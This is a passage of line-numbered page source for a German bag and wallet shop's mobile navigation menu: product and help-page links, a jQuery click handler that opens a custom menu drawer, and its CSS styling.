9333        
9334
9335                <a href="/products/essential-value-set" class="lb-mobile-navigation-sublink ">
9336                    
9337
9338                
9339                  
9340        
9341        
9342        
9343        
9344        
9345        
9346        
9347        
9348        
9349        
9350        
9351        
9352        
9353        
9354        
9355        
9356        
9357        
9358        
9359        
9360        
9361        
9362        
9363        
9364        
9365        
9366        
9367        
9368        
9369        
9370        
9371        
9372        
9373        
9374        
9375        
9376        
9377        
9378        
9379        
9380        
9381        
9382        
9383        
9384        
9385        
9386        
9387        
9388        
9389        
9390        
9391            <img class="lb-mobile-navigation-sublink-image" src="//essentialbag.com/cdn/shop/files/1_364a5f06-5114-4f76-8be7-23074b15e11e_200x.jpg?v=1745483399">
9392 
9393        
9394        
9395        
9396        
9397        
9398        
9399        
9400        
9401        
9402        
9403        
9404        
9405        
9406        
9407        
9408        
9409        
9410        
9411        
9412        
9413        
9414        
9415        
9416        
9417        
9418        
9419        
9420        
9421        
9422        
9423        
9424        
9425        
9426        
9427        
9428        
9429        
9430        
9431        
9432        
9433        
9434        
9435        
9436        
9437        
9438        
9439        
9440        
9441        
9442        
9443
9444            <span>Essential Value Set</span>
9445
9446                  
9447        
9448        
9449        
9450        
9451        
9452        
9453        
9454        
9455        
9456        
9457        
9458        
9459        
9460        
9461        
9462        
9463        
9464        
9465        
9466        
9467        
9468        
9469        
9470        
9471        
9472        
9473        
9474        
9475        
9476        
9477        
9478        
9479        
9480        
9481        
9482        
9483        
9484        
9485        
9486        
9487        
9488        
9489        
9490        
9491        
9492        
9493        
9494        
9495        
9496        
9497        
9498            
9499        
9500        
9501        
9502        
9503        
9504        
9505        
9506        
9507        
9508        
9509        
9510        
9511        
9512        
9513        
9514        
9515        
9516        
9517        
9518        
9519        
9520        
9521        
9522        
9523        
9524        
9525        
9526        
9527        
9528        
9529        
9530        
9531        
9532        
9533        
9534        
9535        
9536        
9537        
9538        
9539        
9540        
9541        
9542        
9543        
9544        
9545        
9546        
9547        
9548        
9549
9550            
9551
9552                </a>
9553
9554                <div class="lb-mobile-navigation-sublink-content">
9555                 
9556        </div>
9557
9558        
9559
9560                <a href="https://essentialbag.de/products/oster-value-set-copy" class="lb-mobile-navigation-sublink ">
9561                    
9562
9563                
9564                  
9565        
9566        
9567        
9568        
9569        
9570        
9571        
9572        
9573        
9574        
9575        
9576        
9577        
9578        
9579        
9580        
9581        
9582        
9583        
9584        
9585        
9586        
9587        
9588        
9589        
9590        
9591        
9592        
9593        
9594        
9595        
9596        
9597        
9598        
9599        
9600        
9601        
9602        
9603        
9604        
9605        
9606        
9607        
9608        
9609        
9610        
9611        
9612        
9613        
9614        
9615        
9616        
9617        
9618        
9619        
9620        
9621        
9622        
9623        
9624        
9625        
9626        
9627        
9628        
9629        
9630        
9631        
9632        
9633        
9634        
9635        
9636        
9637        
9638        
9639        
9640        
9641        
9642        
9643        
9644        
9645        
9646        
9647        
9648        
9649        
9650        
9651        
9652        
9653        
9654        
9655        
9656        
9657        
9658        
9659        
9660        
9661        
9662        
9663        
9664        
9665        
9666
9667            <span>Essential travel set</span>
9668
9669                  
9670        
9671        
9672        
9673        
9674        
9675        
9676        
9677        
9678        
9679        
9680        
9681        
9682        
9683        
9684        
9685        
9686        
9687        
9688        
9689        
9690        
9691        
9692        
9693        
9694        
9695        
9696        
9697        
9698        
9699        
9700        
9701        
9702        
9703        
9704        
9705        
9706        
9707        
9708        
9709        
9710        
9711        
9712        
9713        
9714        
9715        
9716        
9717        
9718        
9719        
9720        
9721        
9722        
9723        
9724        
9725        
9726        
9727        
9728        
9729        
9730        
9731        
9732        
9733        
9734        
9735        
9736        
9737        
9738        
9739        
9740        
9741        
9742        
9743        
9744        
9745        
9746        
9747        
9748        
9749        
9750        
9751        
9752        
9753        
9754        
9755        
9756        
9757        
9758        
9759        
9760        
9761        
9762        
9763        
9764        
9765        
9766        
9767        
9768        
9769        
9770
9771            
9772
9773                </a>
9774
9775                <div class="lb-mobile-navigation-sublink-content">
9776                 
9777        </div>
9778
9779        
9780
9781                <a href="https://essentialbag.de/products/partner-set-3-0-copy" class="lb-mobile-navigation-sublink ">
9782                    
9783
9784                
9785                  
9786        
9787        
9788        
9789        
9790        
9791        
9792        
9793        
9794        
9795        
9796        
9797        
9798        
9799        
9800        
9801        
9802        
9803        
9804        
9805        
9806        
9807        
9808        
9809        
9810        
9811        
9812        
9813        
9814        
9815        
9816        
9817        
9818        
9819        
9820        
9821        
9822        
9823        
9824        
9825        
9826        
9827        
9828        
9829        
9830        
9831        
9832        
9833        
9834        
9835        
9836        
9837        
9838        
9839        
9840        
9841        
9842        
9843        
9844        
9845        
9846        
9847        
9848        
9849        
9850        
9851        
9852        
9853        
9854        
9855        
9856        
9857        
9858        
9859        
9860        
9861        
9862        
9863        
9864        
9865        
9866        
9867        
9868        
9869        
9870        
9871        
9872        
9873        
9874        
9875        
9876        
9877        
9878        
9879        
9880        
9881        
9882        
9883        
9884        
9885            <img class="lb-mobile-navigation-sublink-image" src="//essentialbag.com/cdn/shop/files/1_c8c4a135-be40-47c3-9df5-06008fadca57_200x.jpg?v=1774524071">
9886 
9887        
9888        
9889
9890            <span>Wallet All-in-One Set</span>
9891
9892                  
9893        
9894        
9895        
9896        
9897        
9898        
9899        
9900        
9901        
9902        
9903        
9904        
9905        
9906        
9907        
9908        
9909        
9910        
9911        
9912        
9913        
9914        
9915        
9916        
9917        
9918        
9919        
9920        
9921        
9922        
9923        
9924        
9925        
9926        
9927        
9928        
9929        
9930        
9931        
9932        
9933        
9934        
9935        
9936        
9937        
9938        
9939        
9940        
9941        
9942        
9943        
9944        
9945        
9946        
9947        
9948        
9949        
9950        
9951        
9952        
9953        
9954        
9955        
9956        
9957        
9958        
9959        
9960        
9961        
9962        
9963        
9964        
9965        
9966        
9967        
9968        
9969        
9970        
9971        
9972        
9973        
9974        
9975        
9976        
9977        
9978        
9979        
9980        
9981        
9982        
9983        
9984        
9985        
9986        
9987        
9988        
9989        
9990        
9991        
9992            
9993        
9994        
9995
9996            
9997
9998                </a>
9999
10000                <div class="lb-mobile-navigation-sublink-content">
10001                 
10002        </div>
10003
10004        
10005        </div>
10006    
10007
10008
10009    
10010    <a class="lb-mobile-navigation-opener lb-mobile-navigation-link  lb-mobile-navigation-minimal-link">
10011       
10012       
10013      
10014        
10015            
10016            
10017        
10018        
10019        
10020        
10021        
10022        
10023        
10024        
10025        
10026        
10027        
10028        
10029        
10030        
10031        
10032        
10033        
10034        
10035        
10036        
10037        
10038        
10039        
10040        
10041        
10042        
10043        
10044        
10045        
10046        
10047        
10048        
10049        
10050        
10051        
10052        
10053        
10054        
10055        
10056        
10057        
10058        
10059        
10060        
10061        
10062        
10063        
10064        
10065        
10066        
10067        
10068        
10069        
10070        
10071        
10072        
10073        
10074        
10075        
10076        
10077        
10078        
10079        
10080        
10081        
10082        
10083        
10084        
10085        
10086        
10087        
10088        
10089        
10090        
10091        
10092        
10093        
10094        
10095        
10096        
10097        
10098        
10099        
10100        
10101        
10102        
10103        
10104        
10105        
10106        
10107        
10108        
10109        
10110        
10111        
10112        
10113        
10114        
10115        
10116        
10117        
10118
10119            <div>Info
10120        
10121            
10122        
10123        
10124        
10125        
10126        
10127        
10128        
10129        
10130        
10131        
10132        
10133        
10134        
10135        
10136        
10137        
10138        
10139        
10140        
10141        
10142        
10143        
10144        
10145        
10146        
10147        
10148        
10149        
10150        
10151        
10152        
10153        
10154        
10155        
10156        
10157        
10158        
10159        
10160        
10161        
10162        
10163        
10164        
10165        
10166        
10167        
10168        
10169        
10170        
10171        
10172        
10173        
10174        
10175        
10176        
10177        
10178        
10179        
10180        
10181        
10182        
10183        
10184        
10185        
10186        
10187        
10188        
10189        
10190        
10191        
10192        
10193        
10194        
10195        
10196        
10197        
10198        
10199        
10200        
10201        
10202        
10203        
10204        
10205        
10206        
10207        
10208        
10209        
10210        
10211        
10212        
10213        
10214        
10215        
10216        
10217        
10218        
10219        
10220        
10221        
10222    </div>
10223
10224        <svg class="lb-mobile-navigation-arrow" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
10225            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
10226                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
10227                    <polyline id="Path-104" points="18 109 200 291 382 109"></polyline>
10228                </g>
10229            </g>
10230        </svg>
10231        </a>
10232        <div class="lb-mobile-navigation-content">
10233
10234
10235 <div class="lb-mobile-navigation-closer">
10236
10237      <svg class="bestseller-intro-box-back" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
10238            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
10239                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
10240                    <polyline id="Path-104" points="18 109 200 291 382 
10240109"></polyline>
10241                </g>
10242            </g>
10243        </svg>
10244                    Info </div>
10245
10246
10247        
10248
10249                <a  class="lb-mobile-navigation-sublink lb-mobile-navigation-sublink-opener">
10250                    
10251
10252                
10253                  
10254        
10255        
10256        
10257        
10258        
10259        
10260        
10261        
10262        
10263        
10264        
10265        
10266        
10267        
10268        
10269        
10270        
10271        
10272        
10273        
10274        
10275        
10276        
10277        
10278        
10279        
10280        
10281        
10282        
10283        
10284        
10285        
10286        
10287        
10288        
10289        
10290        
10291        
10292        
10293        
10294        
10295        
10296        
10297        
10298        
10299        
10300        
10301        
10302        
10303        
10304        
10305        
10306        
10307        
10308        
10309        
10310        
10311        
10312        
10313        
10314        
10315        
10316        
10317        
10318        
10319        
10320        
10321        
10322        
10323        
10324        
10325        
10326        
10327        
10328        
10329        
10330        
10331        
10332        
10333        
10334        
10335        
10336        
10337        
10338        
10339        
10340        
10341        
10342        
10343        
10344        
10345        
10346        
10347        
10348        
10349        
10350        
10351        
10352        
10353        
10354        
10355
10356            <span>Über Uns</span>
10357
10358                  
10359        
10360        
10361        
10362        
10363        
10364        
10365        
10366        
10367        
10368        
10369        
10370        
10371        
10372        
10373        
10374        
10375        
10376        
10377        
10378        
10379        
10380        
10381        
10382        
10383        
10384        
10385        
10386        
10387        
10388        
10389        
10390        
10391        
10392        
10393        
10394        
10395        
10396        
10397        
10398        
10399        
10400        
10401        
10402        
10403        
10404        
10405        
10406        
10407        
10408        
10409        
10410        
10411        
10412        
10413        
10414        
10415        
10416        
10417        
10418        
10419        
10420        
10421        
10422        
10423        
10424        
10425        
10426        
10427        
10428        
10429        
10430        
10431        
10432        
10433        
10434        
10435        
10436        
10437        
10438        
10439        
10440        
10441        
10442        
10443        
10444        
10445        
10446        
10447        
10448        
10449        
10450        
10451        
10452        
10453        
10454        
10455        
10456        
10457        
10458        
10459
10460            
10461                             <svg class="lb-mobile-navigation-arrow" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
10462            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
10463                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
10464                    <polyline id="Path-104" points="18 109 200 291 382 109"></polyline>
10465                </g>
10466            </g>
10467        </svg>
10468    
10469
10470                </a>
10471
10472                <div class="lb-mobile-navigation-sublink-content">
10473                 
10474
10475                <a href="/pages/uber-uns" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Unternehmensgeschichte
10476
10477                </a>
10478
10479
10480                <!--
10481             <div class="lb-mobile-navigation-subsublink-content">
10482                  
10483
10484
10485
10486
10487
10488
10489
10490
10491            </div>
10492        -->
10493
10494
10495        
10496
10497                <a href="/pages/produktentwicklung" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Produktentwicklung
10498
10499                </a>
10500
10501
10502                <!--
10503             <div class="lb-mobile-navigation-subsublink-content">
10504                  
10505
10506
10507
10508
10509
10510
10511
10512
10513            </div>
10514        -->
10515
10516
10517        
10518
10519                <a href="/pages/nachhaltigkeit" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Nachhaltigkeit
10520
10521                </a>
10522
10523
10524                <!--
10525             <div class="lb-mobile-navigation-subsublink-content">
10526                  
10527
10528
10529
10530
10531
10532
10533
10534
10535            </div>
10536        -->
10537
10538
10539        
10540
10541                <a href="/pages/bewertungen" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Kundenstimmen
10542
10543                </a>
10544
10545
10546                <!--
10547             <div class="lb-mobile-navigation-subsublink-content">
10548                  
10549
10550
10551
10552
10553
10554
10555
10556
10557            </div>
10558        -->
10559
10560
10561        
10562
10563                <a href="/pages/unser-team" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Unser Team
10564
10565                </a>
10566
10567
10568                <!--
10569             <div class="lb-mobile-navigation-subsublink-content">
10570                  
10571
10572
10573
10574
10575
10576
10577
10578
10579            </div>
10580        -->
10581
10582
10583        
10584
10585                <a href="/pages/karriere-jobs" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Karriere & Jobs
10586
10587                </a>
10588
10589
10590                <!--
10591             <div class="lb-mobile-navigation-subsublink-content">
10592                  
10593
10594
10595
10596
10597
10598
10599
10600
10601            </div>
10602        -->
10603
10604
10605        
10606
10607                <a href="https://empfehlung.essentialbag.de/create-account" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Weiterempfehlen
10608
10609                </a>
10610
10611
10612                <!--
10613             <div class="lb-mobile-navigation-subsublink-content">
10614                  
10615
10616
10617
10618
10619
10620
10621
10622
10623            </div>
10624        -->
10625
10626
10627        
10628
10629                <a href="/blogs/news" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Blog
10630
10631                </a>
10632
10633
10634                <!--
10635             <div class="lb-mobile-navigation-subsublink-content">
10636                  
10637
10638
10639
10640
10641
10642
10643
10644
10645            </div>
10646        -->
10647
10648
10649        
10650        </div>
10651
10652        
10653
10654                <a href="/pages/unternehmen-b2b" class="lb-mobile-navigation-sublink ">
10655                    
10656
10657                
10658                  
10659        
10660        
10661        
10662        
10663        
10664        
10665        
10666        
10667        
10668        
10669        
10670        
10671        
10672        
10673        
10674        
10675        
10676        
10677        
10678        
10679        
10680        
10681        
10682        
10683        
10684        
10685        
10686        
10687        
10688        
10689        
10690        
10691        
10692        
10693        
10694        
10695        
10696        
10697        
10698        
10699        
10700        
10701        
10702        
10703        
10704        
10705        
10706        
10707        
10708        
10709        
10710        
10711        
10712        
10713        
10714        
10715        
10716        
10717        
10718        
10719        
10720        
10721        
10722        
10723        
10724        
10725        
10726        
10727        
10728        
10729        
10730        
10731        
10732        
10733        
10734        
10735        
10736        
10737        
10738        
10739        
10740        
10741        
10742        
10743        
10744        
10745        
10746        
10747        
10748        
10749        
10750        
10751        
10752        
10753        
10754        
10755        
10756        
10757        
10758        
10759        
10760
10761            <span>B2B</span>
10762
10763                  
10764        
10765        
10766        
10767        
10768        
10769        
10770        
10771        
10772        
10773        
10774        
10775        
10776        
10777        
10778        
10779        
10780        
10781        
10782        
10783        
10784        
10785        
10786        
10787        
10788        
10789        
10790        
10791        
10792        
10793        
10794        
10795        
10796        
10797        
10798        
10799        
10800        
10801        
10802        
10803        
10804        
10805        
10806        
10807        
10808        
10809        
10810        
10811        
10812        
10813        
10814        
10815        
10816        
10817        
10818        
10819        
10820        
10821        
10822        
10823        
10824        
10825        
10826        
10827        
10828        
10829        
10830        
10831        
10832        
10833        
10834        
10835        
10836        
10837        
10838        
10839        
10840        
10841        
10842        
10843        
10844        
10845        
10846        
10847        
10848        
10849        
10850        
10851        
10852        
10853        
10854        
10855        
10856        
10857        
10858        
10859        
10860        
10861        
10862        
10863        
10864
10865            
10866
10867                </a>
10868
10869                <div class="lb-mobile-navigation-sublink-content">
10870                 
10871        </div>
10872
10873        
10874
10875                <a  class="lb-mobile-navigation-sublink lb-mobile-navigation-sublink-opener">
10876                    
10877
10878                
10879                  
10880        
10881        
10882        
10883        
10884        
10885        
10886        
10887        
10888        
10889        
10890        
10891        
10892        
10893        
10894        
10895        
10896        
10897        
10898        
10899        
10900        
10901        
10902        
10903        
10904        
10905        
10906        
10907        
10908        
10909        
10910        
10911        
10912        
10913        
10914        
10915        
10916        
10917        
10918        
10919        
10920        
10921        
10922        
10923        
10924        
10925        
10926        
10927        
10928        
10929        
10930        
10931        
10932        
10933        
10934        
10935        
10936        
10937        
10938        
10939        
10940        
10941        
10942        
10943        
10944        
10945        
10946        
10947        
10948        
10949        
10950        
10951        
10952        
10953        
10954        
10955        
10956        
10957        
10958        
10959        
10960        
10961        
10962        
10963        
10964        
10965        
10966        
10967        
10968        
10969        
10970        
10971        
10972        
10973        
10974        
10975        
10976        
10977        
10978        
10979        
10980        
10981
10982            <span>Service & Hilfe</span>
10983
10984                  
10985        
10986        
10987        
10988        
10989        
10990        
10991        
10992        
10993        
10994        
10995        
10996        
10997        
10998        
10999        
11000        
11001        
11002        
11003        
11004        
11005        
11006        
11007        
11008        
11009        
11010        
11011        
11012        
11013        
11014        
11015        
11016        
11017        
11018        
11019        
11020        
11021        
11022        
11023        
11024        
11025        
11026        
11027        
11028        
11029        
11030        
11031        
11032        
11033        
11034        
11035        
11036        
11037        
11038        
11039        
11040        
11041        
11042        
11043        
11044        
11045        
11046        
11047        
11048        
11049        
11050        
11051        
11052        
11053        
11054        
11055        
11056        
11057        
11058        
11059        
11060        
11061        
11062        
11063        
11064        
11065        
11066        
11067        
11068        
11069        
11070        
11071        
11072        
11073        
11074        
11075        
11076        
11077        
11078        
11079        
11080        
11081        
11082        
11083        
11084        
11085
11086            
11087                             <svg class="lb-mobile-navigation-arrow" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
11088            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
11089                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
11090                    <polyline id="Path-104" points="18 109 200 291 382 109"></polyline>
11091                </g>
11092            </g>
11093        </svg>
11094    
11095
11096                </a>
11097
11098                <div class="lb-mobile-navigation-sublink-content">
11099                 
11100
11101                <a href="/pages/hilfe" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Übersicht
11102
11103                </a>
11104
11105
11106                <!--
11107             <div class="lb-mobile-navigation-subsublink-content">
11108                  
11109
11110
11111
11112
11113
11114
11115
11116            </div>
11117        -->
11118
11119
11120        
11121
11122                <a href="/pages/kontakt" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Kontakt
11123
11124                </a>
11125
11126
11127                <!--
11128             <div class="lb-mobile-navigation-subsublink-content">
11129                  
11130
11131
11132
11133
11134
11135
11136
11137            </div>
11138        -->
11139
11140
11141        
11142
11143                <a href="/pages/faq" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">FAQ
11144
11145                </a>
11146
11147
11148                <!--
11149             <div class="lb-mobile-navigation-subsublink-content">
11150                  
11151
11152
11153
11154
11155
11156
11157
11158            </div>
11159        -->
11160
11161
11162        
11163
11164                <a href="/pages/garantieerklarung-1" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Garantie
11165
11166                </a>
11167
11168
11169                <!--
11170             <div class="lb-mobile-navigation-subsublink-content">
11171                  
11172
11173
11174
11175
11176
11177
11178
11179            </div>
11180        -->
11181
11182
11183        
11184
11185                <a href="/pages/zahlung-und-versand" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Versand
11186
11187                </a>
11188
11189
11190                <!--
11191             <div class="lb-mobile-navigation-subsublink-content">
11192                  
11193
11194
11195
11196
11197
11198
11199
11200            </div>
11201        -->
11202
11203
11204        
11205
11206                <a href="/pages/retoure" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Retoure
11207
11208                </a>
11209
11210
11211                <!--
11212             <div class="lb-mobile-navigation-subsublink-content">
11213                  
11214
11215
11216
11217
11218
11219
11220
11221            </div>
11222        -->
11223
11224
11225        
11226
11227                <a href="/pages/anleitungen" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Produktanleitungen
11228
11229                </a>
11230
11231
11232                <!--
11233             <div class="lb-mobile-navigation-subsublink-content">
11234                  
11235
11236
11237
11238
11239
11240
11241
11242            </div>
11243        -->
11244
11245
11246        
11247        </div>
11248
11249        
11250
11251                <a  class="lb-mobile-navigation-sublink lb-mobile-navigation-sublink-opener">
11252                    
11253
11254                
11255                  
11256        
11257        
11258        
11259        
11260        
11261        
11262        
11263        
11264        
11265        
11266        
11267        
11268        
11269        
11270        
11271        
11272        
11273        
11274        
11275        
11276        
11277        
11278        
11279        
11280        
11281        
11282        
11283        
11284        
11285        
11286        
11287        
11288        
11289        
11290        
11291        
11292        
11293        
11294        
11295        
11296        
11297        
11298        
11299        
11300        
11301        
11302        
11303        
11304        
11305        
11306        
11307        
11308        
11309        
11310        
11311        
11312        
11313        
11314        
11315        
11316        
11317        
11318        
11319        
11320        
11321        
11322        
11323        
11324        
11325        
11326        
11327        
11328        
11329        
11330        
11331        
11332        
11333        
11334        
11335        
11336        
11337        
11338        
11339        
11340        
11341        
11342        
11343        
11344        
11345        
11346        
11347        
11348        
11349        
11350        
11351        
11352        
11353        
11354        
11355        
11356        
11357
11358            <span>Merch</span>
11359
11360                  
11361        
11362        
11363        
11364        
11365        
11366        
11367        
11368        
11369        
11370        
11371        
11372        
11373        
11374        
11375        
11376        
11377        
11378        
11379        
11380        
11381        
11382        
11383        
11384        
11385        
11386        
11387        
11388        
11389        
11390        
11391        
11392        
11393        
11394        
11395        
11396        
11397        
11398        
11399        
11400        
11401        
11402        
11403        
11404        
11405        
11406        
11407        
11408        
11409        
11410        
11411        
11412        
11413        
11414        
11415        
11416        
11417        
11418        
11419        
11420        
11421        
11422        
11423        
11424        
11425        
11426        
11427        
11428        
11429        
11430        
11431        
11432        
11433        
11434        
11435        
11436        
11437        
11438        
11439        
11440        
11441        
11442        
11443        
11444        
11445        
11446        
11447        
11448        
11449        
11450        
11451        
11452        
11453        
11454        
11455        
11456        
11457        
11458        
11459        
11460        
11461
11462            
11463                             <svg class="lb-mobile-navigation-arrow" width="394px" height="226px" viewBox="0 0 394 226" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
11464            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
11465                <g id="arrow-down-copy-3" transform="translate(-3, -94)" stroke="#000000" stroke-width="41">
11466                    <polyline id="Path-104" points="18 109 200 291 382 109"></polyline>
11467                </g>
11468            </g>
11469        </svg>
11470    
11471
11472                </a>
11473
11474                <div class="lb-mobile-navigation-sublink-content">
11475                 
11476
11477                <a href="/collections/merch" class="lb-mobile-navigation-sublink lb-mobile-navigation-subsublink ">Weitere
11478
11479                </a>
11480
11481
11482                <!--
11483             <div class="lb-mobile-navigation-subsublink-content">
11484                  
11485
11486            </div>
11487        -->
11488
11489
11490        
11491        </div>
11492
11493        
11494        </div>
11495    
11496
11497
11498
11499<!--
11500<a href="/account" class="lb-mobile-navigation-account">
11501    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-user" viewBox="0 0 64 64"><title>account</title><path d="M35 39.84v-2.53c3.3-1.91 6-6.66 6-11.41 0-7.63 0-13.82-9-13.82s-9 6.19-9 13.82c0 4.75 2.7 9.51 6 11.41v2.53c-10.18.85-18 6-18 12.16h42c0-6.19-7.82-11.31-18-12.16Z"></path></svg>
11502    Account
11503</a>
11504-->
11505
11506
11507</div>
11508
11509</div>
11510
11511
11512
11513
11514<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
vendor: 1 bytes, line 11514
11514
11515<script>
11516  $('.lb-mobile-navigation-opener').click(function() {
11517    $(this).next('.lb-mobile-navigation-content').toggleClass('lb-mobile-navigation-content-open');
11518    $('.lb-mobile-navigation-link').toggleClass('lb-mobile-navigation-opener-open');
11519    $('.lb-mobile-navigation-stories').toggleClass('lb-mobile-navigation-opener-open');
11520    $('.lb-mobile-navigation-stories-link').toggleClass('lb-mobile-navigation-opener-open');
11521    $('.lb-mobile-navigation-aktion-badge').toggleClass('lb-mobile-navigation-opener-open');
11522  });
11523  $('.lb-mobile-navigation-closer').click(function() {
11524    $('.lb-mobile-navigation-content').removeClass('lb-mobile-navigation-content-open');
11525    $('.lb-mobile-navigation-link').toggleClass('lb-mobile-navigation-opener-open');
11526    $('.lb-mobile-navigation-stories').toggleClass('lb-mobile-navigation-opener-open');
11527    $('.lb-mobile-navigation-stories-link').toggleClass('lb-mobile-navigation-opener-open');
11528    $('.lb-mobile-navigation-aktion-badge').toggleClass('lb-mobile-navigation-opener-open');
11529  });
11530  $('.lb-mobile-navigation-sublink-opener').click(function() {
11531    $(this).next('.lb-mobile-navigation-sublink-content').toggleClass('lb-mobile-navigation-sublink-content-open');
11532    $(this).find('.lb-mobile-navigation-arrow').toggleClass('lb-mobile-navigation-arrow-on');
11533  });
11534  $('.lb-mobile-navigation-subsublink-opener').click(function() {
11535    $(this).next('.lb-mobile-navigation-subsublink-content').toggleClass('lb-mobile-navigation-sublink-content-open');
11536    $(this).find('.lb-mobile-navigation-arrow').toggleClass('lb-mobile-navigation-arrow-on');
11537  });
11538
11539  // Klick auf das Theme-Menü-Icon: eigenen Drawer öffnen und das alte Theme-Panel unterdrücken
11540  document.addEventListener('click', function(e) {
11541    var trigger = e.target.closest ? e.target.closest('.toggle-panel-button') : null;
11542    if (trigger) {
11543      e.preventDefault();
11544      e.stopImmediatePropagation();
11545      var drawer = document.querySelector('.lb-mobile-navigation-drawer');
11546      if (drawer) { drawer.classList.add('lb-mobile-navigation-drawer-open'); }
11547      document.documentElement.classList.add('lb-mobile-nav-locked');
11548    }
11549  }, true);
11550
11551  // Close-Button: Drawer wieder nach links rausfahren (delegiert, damit es immer greift)
11552  document.addEventListener('click', function(e) {
11553    if (e.target.closest && e.target.closest('.lb-mobile-navigation-drawer-close')) {
11554      var drawer = document.querySelector('.lb-mobile-navigation-drawer');
11555      if (drawer) { drawer.classList.remove('lb-mobile-navigation-drawer-open'); }
11556      document.documentElement.classList.remove('lb-mobile-nav-locked');
11557    }
11558  });
11559
11560  // --- LB Integration Adapter (Focal theme) ---
11561  // Focal öffnet sein Mobile-Menü über einen Button mit aria-controls="mobile-menu-drawer".
11562  // Wir fangen diesen Klick ab und öffnen stattdessen unseren eigenen Drawer.
11563  document.addEventListener('click', function(e) {
11564    if (!e.target.closest) return;
11565    var focalTrigger = e.target.closest('[aria-controls="mobile-menu-drawer"]');
11566    if (focalTrigger) {
11567      e.preventDefault();
11568      e.stopImmediatePropagation();
11569      var drawer = document.querySelector('.lb-mobile-navigation-drawer');
11570      if (drawer) { drawer.classList.add('lb-mobile-navigation-drawer-open'); }
11571      document.documentElement.classList.add('lb-mobile-nav-locked');
11572    }
11573  }, true);
11574</script>
11574
11575
11576
11577<style>
11578
11579.lb-mobile-navigation-drawer {
11580position: fixed;
11581display: block;
11582z-index: +2147483647;
11583top: 0px;
11584left: 0px;
11585height: 100%;
11586width: 95%;
11587max-width: 450px;
11588overflow: hidden;
11589  background: white!important;
11590transform: translateX(-100%);
11591transition: transform 0.3s ease-in-out, box-shadow 0.3s ease-in-out;
11592}
11593
11594.lb-mobile-navigation-drawer-open {
11595transform: translateX(0);
11596box-shadow: 0px 0px 100px rgba(0,0,0,0.5);
11597}
11598
11599/* Seite dahinter nicht scrollen, wenn der Drawer offen ist */
11600html.lb-mobile-nav-locked,
11601html.lb-mobile-nav-locked body {
11602overflow: hidden !important;
11603height: 100% !important;
11604}
11605
11606/* Alten Theme-Drawer komplett ausblenden */
11607.site-panel {
11608display: none !important;
11609}
11610
11611.lb-mobile-navigation-drawer-close {
11612display: block;
11613width: 32px;
11614height: 32px;
11615margin: 0 0 9px auto;
11616cursor: pointer;
11617pointer-events: auto !important;
11618}
11619
11620.lb-mobile-navigation-drawer-close * {
11621pointer-events: auto !important;
11622}
11623
11624
11625
11626
11627.lb-mobile-navigation-link,
11628.lb-mobile-navigation-stories,
11629.lb-mobile-navigation-stories-link,
11630.lb-mobile-navigation-aktion-badge {
11631  position: relative;
11632  transition: all 0.3s;
11633  left: 0%;
11634  transition-timing-function: ease-in-out;
11635}
11636
11637.lb-mobile-navigation-opener-open {
11638left: -120%;
11639}
11640
11641.lb-mobile-navigation-closer {
11642display: flex;
11643align-items: center;
11644color: grey;
11645font-weight: 600;
11646font-size: 16px;
11647line-height: 20px;
11648margin-bottom: 15px;
11649cursor: pointer;
11650}
11651
11652.lb-mobile-navigation-closer svg {
11653margin-right: 12px;
11654}
11655
11656.lb-mobile-navigation-stories-link {
11657display: flex;
11658margin: 18px 0px -5px 0px;
11659font-size: 16px;
11660font-weight: bold;
11661align-items: center;
11662justify-content: space-between;
11663}
11664
11665.lb-mobile-navigation-stories-link svg {
11666width: 18px;
11667height: 18px;
11668transform: rotate(-90deg);
11669}
11670
11671.lb-mobile-navigation-stories {
11672  margin: 0px -18px 9px -18px;
11673  padding: 0px 18px; 
11674  display: flex;
11675  overflow-x: auto;
11676  -webkit-overflow-scrolling: touch;
11677  scrollbar-width: none;
11678  -ms-overflow-style: none;
11679}
11680
11681.lb-mobile-navigation-stories a {
11682  text-align: center;
11683  font-weight: 600;
11684  font-size: 10px;
11685  line-height: 13px;
11686  color: black;
11687  display: inline-block;
11688  width: 25%;
11689  flex: 0 0 25%;
11690  margin: 14px 1%;
11691}
11692
11693.lb-mobile-navigation-stories::-webkit-scrollbar {
